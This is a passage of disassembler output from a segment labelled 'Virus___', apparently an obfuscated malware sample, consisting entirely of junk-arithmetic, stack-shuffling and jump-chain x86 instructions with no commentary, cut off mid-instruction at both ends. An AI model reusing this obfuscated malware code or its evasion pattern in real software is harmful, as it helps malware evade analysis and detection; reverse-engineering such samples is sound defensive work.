3CDD74F1h pop eax xchg esi, [esp] jmp loc_5608A4 ; --------------------------------------------------------------------------- loc_55557C: ; CODE XREF: Virus___:00553515j push esi mov esi, 0B4A1C1Ah inc esi push edi mov edi, 36583AC5h jmp loc_550397 ; --------------------------------------------------------------------------- loc_55558E: ; CODE XREF: Virus___:0055FF94j add esp, 4 xor eax, ebx push dword ptr [esp] pop ebx add esp, 4 push 66A3h jmp loc_55D6D5 ; --------------------------------------------------------------------------- loc_5555AA: ; CODE XREF: Virus___:005505C9j mov ecx, [esp] push ecx jmp loc_55B878 ; --------------------------------------------------------------------------- loc_5555B3: ; CODE XREF: Virus___:00557754j pop ebx jmp loc_551EFB ; --------------------------------------------------------------------------- loc_5555B9: ; CODE XREF: Virus___:00555F2Fj add esp, 4 add ebx, 5D2D79F9h push dword ptr [esp] pop ebp push 0BE9h mov [esp], edi mov edi, esp jmp loc_559DAE ; --------------------------------------------------------------------------- loc_5555D5: ; CODE XREF: Virus___:0055814Ej add esp, 2 add al, 0AFh sub al, bl sub al, 0AFh sub al, 3Bh push dx push eax jmp loc_55FC90 ; --------------------------------------------------------------------------- loc_5555E8: ; CODE XREF: Virus___:0055E151j add edx, 2C5291D1h mov esi, edx pop edx xor esi, eax pop eax add edi, esi mov esi, [esp] add esp, 4 xchg edi, [esp] pop esp push 5BF0h mov [esp], ecx push edi mov edi, 1 mov ecx, edi pop edi and eax, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 push ebx jmp loc_552893 ; --------------------------------------------------------------------------- loc_555625: ; CODE XREF: Virus___:00553A89j mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] push ecx push esp mov ecx, [esp] jmp loc_5533DD ; --------------------------------------------------------------------------- loc_555639: ; CODE XREF: Virus___:00559E2Fj add ebx, 4 jmp loc_563CFC ; --------------------------------------------------------------------------- loc_555644: ; CODE XREF: Virus___:0055FF34j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ecx mov cl, 74h shl cl, 5 push ax jmp loc_552216 ; --------------------------------------------------------------------------- loc_555664: ; CODE XREF: Virus___:005567B4j pop edx jmp loc_55D4F4 ; --------------------------------------------------------------------------- loc_55566A: ; CODE XREF: Virus___:0055A614j pop ebx jmp loc_5510AB ; --------------------------------------------------------------------------- loc_555670: ; CODE XREF: Virus___:0055DE10j sub eax, 41583217h shl eax, 8 sub eax, 0B1740FCh add ecx, 6730C78h add ecx, eax jmp loc_553C05 ; --------------------------------------------------------------------------- loc_55568A: ; CODE XREF: Virus___:00561B3Dj pop edi add esi, 1 push edi mov edi, 48A22BA0h or edi, 54702D5h xor edi, 6B01BA83h add esi, edi mov edi, [esp] add esp, 4 add [esp+4], esi mov esi, [esp] add esp, 4 jmp loc_552202 ; --------------------------------------------------------------------------- loc_5556BD: ; CODE XREF: Virus___:005553ECj shl esi, 3 xor esi, 58BC2A23h xor esi, 0DADBE507h add ecx, esi jmp loc_5621A3 ; --------------------------------------------------------------------------- loc_5556D3: ; CODE XREF: Virus___:00551C70j mov ebp, 2D511C16h jmp loc_556274 ; --------------------------------------------------------------------------- loc_5556DD: ; CODE XREF: Virus___:00561486j push 2 pop edx add ecx, edx pop edx jmp loc_550FBF ; --------------------------------------------------------------------------- loc_5556EB: ; CODE XREF: Virus___:005622DDj xor al, bl pop ebx push 60BCh mov [esp], ecx push eax mov al, 0EAh dec al jmp loc_564718 ; --------------------------------------------------------------------------- loc_555700: ; CODE XREF: Virus___:00555E70j mov esp, [esp] add esp, 4 jmp loc_558DE6 ; --------------------------------------------------------------------------- mov sp, [esp] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_555714: ; CODE XREF: Virus___:00557901j push dword ptr [esp] jmp loc_5550A2 ; --------------------------------------------------------------------------- loc_55571C: ; CODE XREF: Virus___:0055F5FDj mov esi, 188C6565h shl esi, 6 sub esi, 2884633Ch and esi, 33BA7D95h jmp loc_561967 ; --------------------------------------------------------------------------- loc_555735: ; CODE XREF: Virus___:0056385Bj add bl, ah add bl, 74h pop ax movzx eax, al push dword ptr [edi+eax*4] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_555747: ; CODE XREF: Virus___:005532BDj mov cl, bl jmp loc_5510A1 ; --------------------------------------------------------------------------- loc_55574E: ; CODE XREF: Virus___:0056386Aj mov esi, esp jmp loc_55129C ; --------------------------------------------------------------------------- loc_555755: ; CODE XREF: Virus___:0055EAECj push eax push edx mov dl, bl mov ah, dl pop edx push ebx push edx mov dh, ah mov bh, dh jmp loc_55E5AD ; --------------------------------------------------------------------------- loc_555767: ; CODE XREF: Virus___:0056380Dj mov ecx, 4 sub edi, ecx pop ecx jmp loc_551002 ; --------------------------------------------------------------------------- loc_555774: ; CODE XREF: Virus___:00562FC0j push 22DAD952h mov ebx, [esp] add esp, 4 jmp loc_559843 ; --------------------------------------------------------------------------- loc_555787: ; CODE XREF: Virus___:005575EBj xor edi, [esp] pop esp mov [esp], ecx mov ch, 0C7h push dx mov dl, 0B5h xor ch, dl jmp loc_550571 ; --------------------------------------------------------------------------- loc_55579B: ; CODE XREF: Virus___:005515E4j push edi mov edi, 768C7162h sub esp, 4 mov [esp], ebx jmp loc_55B819 ; --------------------------------------------------------------------------- loc_5557AF: ; CODE XREF: Virus___:0055CFD9j add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_5626FD ; --------------------------------------------------------------------------- loc_5557C9: ; CODE XREF: Virus___:0056446Fj add esp, 4 jmp loc_561E62 ; --------------------------------------------------------------------------- loc_5557D1: ; CODE XREF: Virus___:00558B36j mov edi, [esp] add esp, 4 push 16B3h mov [esp], eax mov eax, 5645659Ah sub ebx, eax jmp loc_55BEF8 ; --------------------------------------------------------------------------- loc_5557EB: ; CODE XREF: Virus___:00551BFDj mov edi, [esp] add esp, 4 jmp loc_561DD9 ; --------------------------------------------------------------------------- loc_5557F6: ; CODE XREF: Virus___:00555F3Fj mov eax, [esp] add esp, 4 push esi jmp loc_563413 ; --------------------------------------------------------------------------- loc_555805: ; CODE XREF: Virus___:005563D5j push esi push 1419h mov [esp], edi mov edi, 29A55B11h mov esi, edi pop edi add esi, 41D44B38h shl esi, 1 and esi, 54D1255Ah jmp loc_555E1E ; --------------------------------------------------------------------------- loc_555829: ; CODE XREF: Virus___:005601CEj xor ebx, 2B223C2Fh add edi, ebx pop ebx xchg edi, [esp] pop esp and eax, ebx pop ebx shr eax, 12h xor eax, ecx jmp loc_550761 ; --------------------------------------------------------------------------- loc_555843: ; CODE XREF: Virus___:00550018j shl esi, 6 shl esi, 2 add esi, 0D1AA2F18h jmp loc_55DCAB ; --------------------------------------------------------------------------- loc_555854: ; CODE XREF: Virus___:00552AF5j sub eax, 1839211Eh jmp loc_5551F6 ; --------------------------------------------------------------------------- loc_55585E: ; CODE XREF: Virus___:005512C3j xor ebx, [esp] jmp loc_555D13 ; --------------------------------------------------------------------------- loc_555866: ; CODE XREF: Virus___:00555C42j shl cl, 7 neg cl push eax push ebx jmp loc_56092D ; --------------------------------------------------------------------------- loc_555872: ; CODE XREF: Virus___:00561AFEj add esp, 4 push ebp push edx mov edx, 50F7845h mov ebp, 0FAF087BFh jmp loc_56260C ; --------------------------------------------------------------------------- loc_555889: ; CODE XREF: Virus___:0055D627j jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55588E: ; CODE XREF: Virus___:00555220j mov [esp], ecx mov ecx, 6BE74BA7h and ecx, 58EB7740h not ecx xor ecx, 916C8C40h push ebp mov ebp, 2DC61429h add ebx, ebp mov ebp, [esp] jmp loc_562C90 ; --------------------------------------------------------------------------- loc_5558B4: ; CODE XREF: Virus___:00562340j push edi mov edi, esp add edi, 4 jmp loc_562D01 ; --------------------------------------------------------------------------- loc_5558C2: ; CODE XREF: Virus___:0056189Cj pop dword ptr [esp] mov esp, [esp] inc dword ptr [esp] pushf jmp loc_55E70C ; --------------------------------------------------------------------------- loc_5558D1: ; CODE XREF: Virus___:00556CEAj add esp, 4 jmp loc_54FA89 ; --------------------------------------------------------------------------- loc_5558DC: ; CODE XREF: Virus___:005641EEj pop ebx add esi, 1 shl esi, 4 jmp loc_5551AF ; --------------------------------------------------------------------------- loc_5558E8: ; CODE XREF: Virus___:0055BC20j mov ebp, 830EF236h push edx mov edx, 4D372486h add ebp, edx pop edx sub ebp, 61965992h add ebp, edx add ebp, 61965992h sub ebp, 4D372486h mov edx, [esp] add esp, 4 sub ebx, 7E6B6CD1h push ecx mov ecx, 68707D00h dec ecx jmp loc_55A0D2 ; --------------------------------------------------------------------------- loc_555922: ; CODE XREF: Virus___:00551D64j add cl, 20h sub al, cl pop ecx pop dx jmp loc_5562B8 ; --------------------------------------------------------------------------- sub esp, 4 jmp loc_56039B ; --------------------------------------------------------------------------- loc_555937: ; CODE XREF: Virus___:005542D4j mov ebx, 3D7C0845h sub esi, ebx jmp loc_5629B7 ; --------------------------------------------------------------------------- loc_555943: ; CODE XREF: Virus___:005549E0j push 61D7h mov [esp], ecx push 4046h mov [esp], esi jmp loc_5596C2 ; --------------------------------------------------------------------------- loc_555958: ; CODE XREF: Virus___:005519B5j push ebx mov bl, 0D3h xchg dl, bl not dl jmp loc_5536A1 ; --------------------------------------------------------------------------- loc_555964: ; CODE XREF: Virus___:0055925Ej mov [esp], esi mov esi, 6E1255F1h add esi, 608724B8h jmp loc_555014 ; --------------------------------------------------------------------------- loc_555977: ; CODE XREF: Virus___:0055CB34j add esp, 4 add esi, 2B7E5241h shl esi, 3 shl esi, 5 push ecx mov ecx, 41642ABBh shr ecx, 4 shl ecx, 7 shr ecx, 8 push 7F52h jmp loc_54F9CC ; --------------------------------------------------------------------------- loc_55599F: ; CODE XREF: Virus___:0056219Ej add edx, 4 push eax jmp loc_54F89B ; --------------------------------------------------------------------------- loc_5559AB: ; CODE XREF: Virus___:00556119j mov eax, 1174E6Ah add edi, eax pop eax add edi, edx jmp loc_55AF19 ; --------------------------------------------------------------------------- loc_5559BA: ; CODE XREF: Virus___:005607C9j add esp, 4 push edx jmp loc_55BBF6 ; --------------------------------------------------------------------------- loc_5559C6: ; CODE XREF: Virus___:0055B3CDj sub esp, 4 mov [esp], edx mov edx, 4 add esi, edx push dword ptr [esp] jmp loc_5500BD ; --------------------------------------------------------------------------- loc_5559DB: ; CODE XREF: Virus___:0055BFD8j mov dh, 1Bh jmp loc_560819 ; --------------------------------------------------------------------------- loc_5559E2: ; CODE XREF: Virus___:005502A4j sub dword ptr [esp+4], 5D89705Fh add dword ptr [esp+4], 5F2E7D47h pop esi push dword ptr [esp] mov eax, [esp] push ebx mov ebx, esp add ebx, 4 push eax mov eax, 4F3C5A40h push edx mov edx, 0B0C3A5C4h jmp loc_559B10 ; --------------------------------------------------------------------------- loc_555A13: ; CODE XREF: Virus___:00550C10j add eax, ebx pop ebx mov edx, [esp] add esp, 4 sub eax, 40821BCCh add eax, edx add eax, 40821BCCh sub eax, 2A250335h jmp loc_561AB2 ; --------------------------------------------------------------------------- loc_555A35: ; CODE XREF: Virus___:00557EB2j mov ebp, 5BC2650Ch add esi, 1AAF02FCh jmp loc_563A2A ; --------------------------------------------------------------------------- loc_555A45: ; CODE XREF: Virus___:00550739j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push eax push dword ptr [esp+4] mov eax, [esp] push ecx mov ecx, esp jmp loc_552A9A ; --------------------------------------------------------------------------- loc_555A62: ; CODE XREF: Virus___:0055B702j mov edx, 4 jmp loc_561CFD ; --------------------------------------------------------------------------- loc_555A6C: ; CODE XREF: Virus___:00554067j xor ecx, [esp] jmp loc_5646E0 ; --------------------------------------------------------------------------- loc_555A74: ; CODE XREF: Virus___:00563519j mov edi, edx mov ecx, edi pop edi pop edx add ecx, edi push ebx jmp loc_55CA85 ; --------------------------------------------------------------------------- loc_555A82: ; CODE XREF: Virus___:0055297Fj add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_55D9C5 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_550348 ; --------------------------------------------------------------------------- loc_555A9C: ; CODE XREF: Virus___:005637ACj mov dh, ah pop eax mov ebx, [esp] add esp, 4 mov al, dh pop edx push edx jmp loc_556370 ; --------------------------------------------------------------------------- loc_555AAE: ; CODE XREF: Virus___:00551348j pop ecx add al, dh add al, 28h jmp loc_564A55 ; --------------------------------------------------------------------------- loc_555AB8: ; CODE XREF: Virus___:005547ACj jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_555ABD: ; CODE XREF: Virus___:0055D0BCj push ebx mov bl, 0B6h jmp loc_561EED ; --------------------------------------------------------------------------- loc_555AC5: ; CODE XREF: Virus___:00558F85j mov esi, 4A780ADAh sub esi, 0D4F0D3E3h jmp loc_553D72 ; --------------------------------------------------------------------------- loc_555AD5: ; CODE XREF: Virus___:005582D3j push 1B92h mov [esp], edi push 243E09A6h pop edi jmp loc_551604 ; --------------------------------------------------------------------------- loc_555AE8: ; CODE XREF: Virus___:00563D1Fj push 2123531Dh pop ebp dec ebp push esi mov esi, 0ABFEFF06h sub ebp, esi pop esi mov eax, ebp pop ebp jmp loc_562B6B ; --------------------------------------------------------------------------- loc_555B00: ; CODE XREF: Virus___:005638A9j add edx, 30767176h jmp loc_562F14 ; --------------------------------------------------------------------------- push 1FC1h mov [esp], ebp push ecx mov ecx, 7926C19h push edi jmp loc_563CC3 ; --------------------------------------------------------------------------- loc_555B1F: ; CODE XREF: Virus___:005550DCj mov ebx, 4 add edx, ebx pop ebx jmp loc_558674 ; --------------------------------------------------------------------------- loc_555B2C: ; CODE XREF: Virus___:0055DA41j dec ch dec ch not ch not ch sub ch, 97h add dl, ch pop ecx add al, dl pop edx mov edx, [esp] push ebp mov ebp, esp push edi mov edi, 4 add ebp, edi pop edi add ebp, 4 xchg ebp, [esp] pop esp push ecx jmp loc_553B35 ; --------------------------------------------------------------------------- loc_555B59: ; CODE XREF: Virus___:0055745Cj mov [esp], edx push edi mov edi, 4C057C30h mov edx, 759A239Dh xor edx, edi pop edi sub edx, 399F5FA9h add ebp, edx pop edx push 988h jmp loc_558454 ; --------------------------------------------------------------------------- loc_555B7D: ; CODE XREF: Virus___:00550809j add esp, 4 push ebp mov ebp, esp jmp loc_56034F ; --------------------------------------------------------------------------- loc_555B8B: ; CODE XREF: Virus___:0055E4FAj pop esi add edi, 4 xchg edi, [esp] pop esp push ebx push esp pop ebx jmp loc_5580BB ; --------------------------------------------------------------------------- loc_555B9B: ; CODE XREF: Virus___:0055C2BCj sub ebx, eax pop eax push 7425h mov [esp], edi jmp loc_550BA6 ; --------------------------------------------------------------------------- loc_555BAB: ; CODE XREF: Virus___:0054FFCAj pop ebx push 7437h mov [esp], ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_56452D ; --------------------------------------------------------------------------- loc_555BCA: ; CODE XREF: Virus___:00561C40j sub edi, eax mov eax, [esp] add esp, 4 sub esi, 6BF36330h add esi, edi push ecx jmp loc_555E9D ; --------------------------------------------------------------------------- loc_555BE3: ; CODE XREF: Virus___:005584ADj push 5CCDh jmp loc_560F88 ; --------------------------------------------------------------------------- loc_555BED: ; CODE XREF: Virus___:005604D1j push ebx mov ebx, 79333B38h jmp loc_55C928 ; --------------------------------------------------------------------------- loc_555BF8: ; CODE XREF: Virus___:00563F27j pop ebp add [esp+4], eax jmp loc_5524C5 ; --------------------------------------------------------------------------- loc_555C02: ; CODE XREF: Virus___:00563E65j sub ebx, 77D01EB3h sub ebx, 1BCC5326h sub ebx, eax push eax jmp loc_5590C0 ; --------------------------------------------------------------------------- loc_555C16: ; CODE XREF: Virus___:0056171Ej sub esp, 4 mov [esp], eax push esp mov eax, [esp] add esp, 4 jmp loc_55824E ; --------------------------------------------------------------------------- loc_555C2B: ; CODE XREF: Virus___:0055A8B7j mov al, 0BFh xor bl, al pop eax neg bl push ax mov ah, 65h add bl, ah jmp loc_5622DB ; --------------------------------------------------------------------------- loc_555C3D: ; CODE XREF: Virus___:00559582j push ecx mov cl, 43h neg cl jmp loc_555866 ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 jmp loc_559298 ; --------------------------------------------------------------------------- loc_555C5C: ; CODE XREF: Virus___:0056048Aj pop esp mov [esp], ebp push 6C52h jmp loc_555481 ; --------------------------------------------------------------------------- loc_555C6A: ; CODE XREF: Virus___:0055F89Ej and edx, 3D565FCEh sub esp, 4 mov [esp], ebx mov ebx, esp jmp loc_55C052 ; --------------------------------------------------------------------------- loc_555C7D: ; CODE XREF: Virus___:0055A4D1j xor dh, 16h push eax push ebx jmp loc_556B93 ; --------------------------------------------------------------------------- loc_555C87: ; CODE XREF: Virus___:005522F5j sub ecx, 65B828A8h add ecx, 3E446D4h xor ecx, 6F957AA5h sub ecx, 3A3E4314h jmp loc_5597FA ; --------------------------------------------------------------------------- loc_555CA4: ; CODE XREF: Virus___:00558559j push esi jmp loc_55CE97 ; --------------------------------------------------------------------------- loc_555CAA: ; CODE XREF: Virus___:005597BCj sub ecx, 4 push ecx jmp loc_560482 ; --------------------------------------------------------------------------- loc_555CB6: ; CODE XREF: Virus___:00556042j push esi neg dword ptr [esp] pop esi jmp loc_55D7F4 ; --------------------------------------------------------------------------- loc_555CC0: ; CODE XREF: Virus___:00556CE0j xchg ebx, [esp] pop esp mov [esp], ecx jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_555CCC: ; CODE XREF: Virus___:0055021Ej push ecx mov ecx, 152D3781h jmp loc_552394 ; --------------------------------------------------------------------------- loc_555CD7: ; CODE XREF: Virus___:00550F93j push dword ptr [esp+4] mov eax, [esp] jmp loc_552EF1 ; --------------------------------------------------------------------------- loc_555CE3: ; CODE XREF: Virus___:0055A1CEj push edi push esp mov edi, [esp] jmp loc_5563CC ; --------------------------------------------------------------------------- loc_555CED: ; CODE XREF: Virus___:0056432Fj pop esp xor [esp], eax jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_555CF6: ; CODE XREF: Virus___:0055392Ej push 258711E0h mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_559509 ; --------------------------------------------------------------------------- loc_555D13: ; CODE XREF: Virus___:00555861j mov esp, [esp] rol byte ptr [esp], cl pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_555D1F: ; CODE XREF: Virus___:005630D2j neg bx or bx, 45D6h jmp loc_552617 ; --------------------------------------------------------------------------- loc_555D2C: ; CODE XREF: Virus___:00554304j sub ecx, 140A17CCh sub ecx, 50CE6AC9h sub ecx, 9F645047h shr ecx, 4 xor ecx, 22559Fh jmp loc_564772 ; --------------------------------------------------------------------------- loc_555D4C: ; CODE XREF: Virus___:0055DA17j add cl, ah pop ax push eax mov ah, 93h dec ah push edx mov dl, 6Ch jmp loc_563F5A ; --------------------------------------------------------------------------- loc_555D5D: ; CODE XREF: Virus___:00560E9Bj push edx jmp loc_563CE8 ; --------------------------------------------------------------------------- loc_555D63: ; CODE XREF: Virus___:0056352Ej add bx, 66CCh shl bx, 7 shr bx, 7 add bx, 2Fh jmp loc_55F136 ; --------------------------------------------------------------------------- loc_555D7A: ; CODE XREF: Virus___:00557875j inc bx jmp loc_5630CE ; --------------------------------------------------------------------------- loc_555D81: ; CODE XREF: Virus___:00563E41j xor ch, 0B0h jmp loc_56406E ; --------------------------------------------------------------------------- loc_555D89: ; CODE XREF: Virus___:005619BAj mov edx, ecx pop ecx sub eax, 764427B9h add eax, 4E467A30h add eax, edx sub eax, 4E467A30h add eax, 764427B9h mov edx, [esp] add esp, 4 jmp loc_55F0B4 ; --------------------------------------------------------------------------- loc_555DB0: ; CODE XREF: Virus___:00563BFEj mov eax, 4 add ebp, eax jmp loc_560BEC ; --------------------------------------------------------------------------- loc_555DBC: ; CODE XREF: Virus___:00551262j inc byte ptr [esp+1] pop edx push ecx jmp loc_5510DB ; --------------------------------------------------------------------------- loc_555DC7: ; CODE XREF: Virus___:00551C82j mov eax, 6AC03FB2h xor eax, 5955119Dh xor eax, 274E45C3h jmp loc_552D22 ; --------------------------------------------------------------------------- loc_555DDB: ; CODE XREF: Virus___:005545E3j push 4828h mov [esp], edi push 56C5h mov [esp], esp push edx mov edx, 4 add [esp+4], edx push dword ptr [esp] jmp loc_553BCD ; --------------------------------------------------------------------------- loc_555DFD: ; CODE XREF: Virus___:0056235Dj mov [esp], ecx mov ecx, 6EB331FBh or ecx, 65C1226Ah neg ecx neg ecx neg ecx xor ecx, 792CE6CDh add ebp, ecx jmp loc_561C9D ; --------------------------------------------------------------------------- loc_555E1E: ; CODE XREF: Virus___:00555824j push ecx jmp loc_5644E0 ; --------------------------------------------------------------------------- loc_555E24: ; CODE XREF: Virus___:0055432Aj push ebx jmp loc_561070 ; --------------------------------------------------------------------------- loc_555E2A: ; CODE XREF: Virus___:00555071j mov eax, 76FC5E82h sub edi, eax pop eax add edi, 1 sub edi, 0FFFFFFFFh and edi, 3F541D05h xor edi, 4100401h sub ecx, 49F47695h add ecx, edi add ecx, 49F47695h jmp loc_5620FF ; --------------------------------------------------------------------------- loc_555E57: ; CODE XREF: Virus___:00551B54j shr al, 4 shr al, 1 add al, 0D6h not al jmp loc_55481C ; --------------------------------------------------------------------------- loc_555E65: ; CODE XREF: Virus___:0055DEB3j mov ebp, 4 add ebx, ebp pop ebp xchg ebx, [esp] jmp loc_555700 ; --------------------------------------------------------------------------- loc_555E75: ; CODE XREF: Virus___:00551700j mov esp, [esp] mov [esp], ax jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_555E81: ; CODE XREF: Virus___:00555419j mov [esp], ebp mov ebp, esp jmp loc_554C5E ; --------------------------------------------------------------------------- loc_555E8B: ; CODE XREF: Virus___:0055685Ej dec ecx jmp loc_56095F ; --------------------------------------------------------------------------- loc_555E91: ; CODE XREF: Virus___:00557F9Fj jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_555E96: ; CODE XREF: Virus___:0055B935j neg ch jmp loc_555F08 ; --------------------------------------------------------------------------- loc_555E9D: ; CODE XREF: Virus___:00555BDEj mov ecx, 6BF36330h add esi, ecx pop ecx pop edi jmp loc_560C28 ; --------------------------------------------------------------------------- loc_555EAB: ; CODE XREF: Virus___:0056477Bj xchg esi, [esp] pop esp mov [esp], ecx jmp loc_55F448 ; --------------------------------------------------------------------------- loc_555EB7: ; CODE XREF: Virus___:00559850j mov [esp], ebp jmp loc_55BC8F ; --------------------------------------------------------------------------- loc_555EBF: ; CODE XREF: Virus___:0055F094j push dword ptr [esp] pop esi push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add eax, 4C992325h add eax, edx sub eax, 4C992325h push dword ptr [esp] pop edx add esp, 4 pop ebx push 550Fh mov [esp], ecx mov ecx, esp add ecx, 4 push ebx mov ebx, 608709A7h jmp loc_556541 ; --------------------------------------------------------------------------- loc_555F08: ; CODE XREF: Virus___:00555E98j sub ch, 0FFh jmp loc_55E224 ; --------------------------------------------------------------------------- loc_555F10: ; CODE XREF: Virus___:00553BA1j add edi, 7EC85025h jmp loc_55FC53 ; --------------------------------------------------------------------------- loc_555F1B: ; CODE XREF: Virus___:00564567j or edi, 4C5E3256h push esi mov esi, 0D8B6A9Ah jmp loc_551310 ; --------------------------------------------------------------------------- loc_555F2C: ; CODE XREF: Virus___:0055C552j mov esi, [esp] jmp loc_5555B9 ; --------------------------------------------------------------------------- loc_555F34: ; CODE XREF: Virus___:00553210j add esi, ebx pop ebx sub esi, eax sub esi, 0A0A0844h jmp loc_5557F6 ; --------------------------------------------------------------------------- loc_555F44: ; CODE XREF: Virus___:0055D933j mov edi, 6654572h shr edi, 7 shr edi, 4 push eax mov eax, 2AC113E2h sub edi, eax pop eax add ebx, edi pop edi sub esi, 2C12BADh sub esi, 103A5830h add esi, 28BE3EB2h add esi, ebx jmp loc_55FD48 ; --------------------------------------------------------------------------- loc_555F74: ; CODE XREF: Virus___:00550DCDj mov ecx, 4ED14F93h push edi mov edi, ecx jmp loc_55FF99 ; --------------------------------------------------------------------------- loc_555F81: ; CODE XREF: Virus___:0055B09Bj push dword ptr [esp] mov ebx, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 push eax mov eax, 485D1E42h and eax, 4D706A20h jmp loc_558C26 ; --------------------------------------------------------------------------- loc_555FA3: ; CODE XREF: Virus___:005640D4j push ecx mov ecx, 416204A0h xor ecx, 30D477F2h sub ecx, 0FF312121h add eax, ecx pop ecx add edi, eax mov eax, [esp] add esp, 4 push 0FB0h mov [esp], esi jmp loc_5508CA ; --------------------------------------------------------------------------- loc_555FCD: ; CODE XREF: Virus___:005536DAj add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_55EE60 ; --------------------------------------------------------------------------- loc_555FDE: ; CODE XREF: Virus___:0055D6B0j add esi, 2DA6D9C5h jmp loc_54FA6E ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] push 72BFh jmp loc_55001D ; --------------------------------------------------------------------------- loc_555FF9: ; CODE XREF: Virus___:0055322Cj pop esp mov [esp], ebx mov ebx, 4 jmp loc_55C173 ; --------------------------------------------------------------------------- loc_556007: ; CODE XREF: Virus___:0054F8A7j push edx mov edx, 46B97640h inc edx jmp loc_554E42 ; --------------------------------------------------------------------------- loc_556013: ; CODE XREF: Virus___:0054FD84j sub esp, 2 jmp loc_552F69 ; --------------------------------------------------------------------------- loc_55601B: ; CODE XREF: Virus___:0055A29Bj pop esi mov edx, [esp] add esp, 4 jmp loc_554855 ; --------------------------------------------------------------------------- loc_556027: ; CODE XREF: Virus___:00551AB0j neg edx add edx, 1CCF2533h mov ecx, 7EAD163Ah jmp loc_55EE20 ; --------------------------------------------------------------------------- loc_556039: ; CODE XREF: Virus___:0055D5FEj add esp, 4 shr esi, 3 jmp loc_555CB6 ; --------------------------------------------------------------------------- loc_556047: ; CODE XREF: Virus___:005532FDj pop esi mov ecx, [esp] push ecx mov ecx, esp jmp loc_557610 ; --------------------------------------------------------------------------- loc_556053: ; CODE XREF: Virus___:0055D52Fj sub eax, ecx mov ecx, [esp] jmp loc_55BA4F ; --------------------------------------------------------------------------- loc_55605D: ; CODE XREF: Virus___:00551B1Aj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add ebx, 0E047EDEDh jmp loc_55A619 ; --------------------------------------------------------------------------- loc_556077: ; CODE XREF: Virus___:0055BD71j xor edx, [esp] jmp loc_5618A1 ; --------------------------------------------------------------------------- loc_55607F: ; CODE XREF: Virus___:0055922Cj mov esp, [esp] push dword ptr [esp] pop edx push edi jmp loc_55A0C8 ; --------------------------------------------------------------------------- loc_55608C: ; CODE XREF: Virus___:0055F438j add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp push ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] shr eax, 10h jmp loc_55DB78 ; --------------------------------------------------------------------------- loc_5560BC: ; CODE XREF: Virus___:00564921j mov bl, 0E4h jmp loc_55868B ; --------------------------------------------------------------------------- loc_5560C3: ; CODE XREF: Virus___:005542AAj pop esi jmp loc_562E2C ; --------------------------------------------------------------------------- loc_5560C9: ; CODE XREF: Virus___:00554F51j shr eax, 0Ch xor eax, ecx jmp loc_56420A ; --------------------------------------------------------------------------- loc_5560D3: ; CODE XREF: Virus___:0055D3F4j pop ebx pop dword ptr [esp] mov esp, [esp] mov [esp], ebp mov ebp, edi push eax mov eax, ebp push eax pop edx pop eax push dword ptr [esp] push dword ptr [esp] jmp loc_5638EB ; --------------------------------------------------------------------------- loc_5560F0: ; CODE XREF: Virus___:00564097j xor edx, 3ED63203h mov ebx, [esp] jmp loc_557E58 ; --------------------------------------------------------------------------- loc_5560FE: ; CODE XREF: Virus___:0055C303j push ebx jmp loc_55817E ; --------------------------------------------------------------------------- loc_556104: ; CODE XREF: Virus___:0055FB04j push 5063h push esp pop dword ptr [esp] add dword ptr [esp], 4 pop eax push edi jmp loc_550799 ; --------------------------------------------------------------------------- loc_556118: ; CODE XREF: Virus___:0055B03Fj push eax jmp loc_5559AB ; --------------------------------------------------------------------------- loc_55611E: ; CODE XREF: Virus___:0055069Dj push esp pop ebx jmp loc_5645F9 ; --------------------------------------------------------------------------- loc_556125: ; CODE XREF: Virus___:00557FFDj xor edi, 2E94DDAAh mov esi, edi pop edi jmp loc_550F2E ; --------------------------------------------------------------------------- loc_556133: ; CODE XREF: Virus___:00561C4Ej mov edx, 1D08F3Fh push edx pop edi mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] xor eax, edi push dword ptr [esp] pop edi push ebp mov ebp, esp push 1B44h mov [esp], edx push ecx push 5CD36DE9h pop ecx shl ecx, 7 neg ecx sub ecx, 5C79F0E8h mov edx, ecx push dword ptr [esp] pop ecx add esp, 4 add edx, 44C53D2Ch jmp loc_55C32B ; --------------------------------------------------------------------------- loc_556192: ; CODE XREF: Virus___:00563BC8j mov edx, [esp] push ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_55C2FB ; --------------------------------------------------------------------------- loc_5561A8: ; CODE XREF: Virus___:0055B824j xor ebx, eax mov eax, [esp] add esp, 4 neg ebx not ebx neg ebx jmp loc_554B6E ; --------------------------------------------------------------------------- loc_5561BB: ; CODE XREF: Virus___:0055B1DDj mov ebp, esp push esi mov esi, 54B80706h not esi add esi, 54B8070Bh add ebp, esi pop esi sub ebp, 4 xchg ebp, [esp] pop esp push esp pop dword ptr [esp] push ecx mov ecx, 4 add [esp+4], ecx mov ecx, 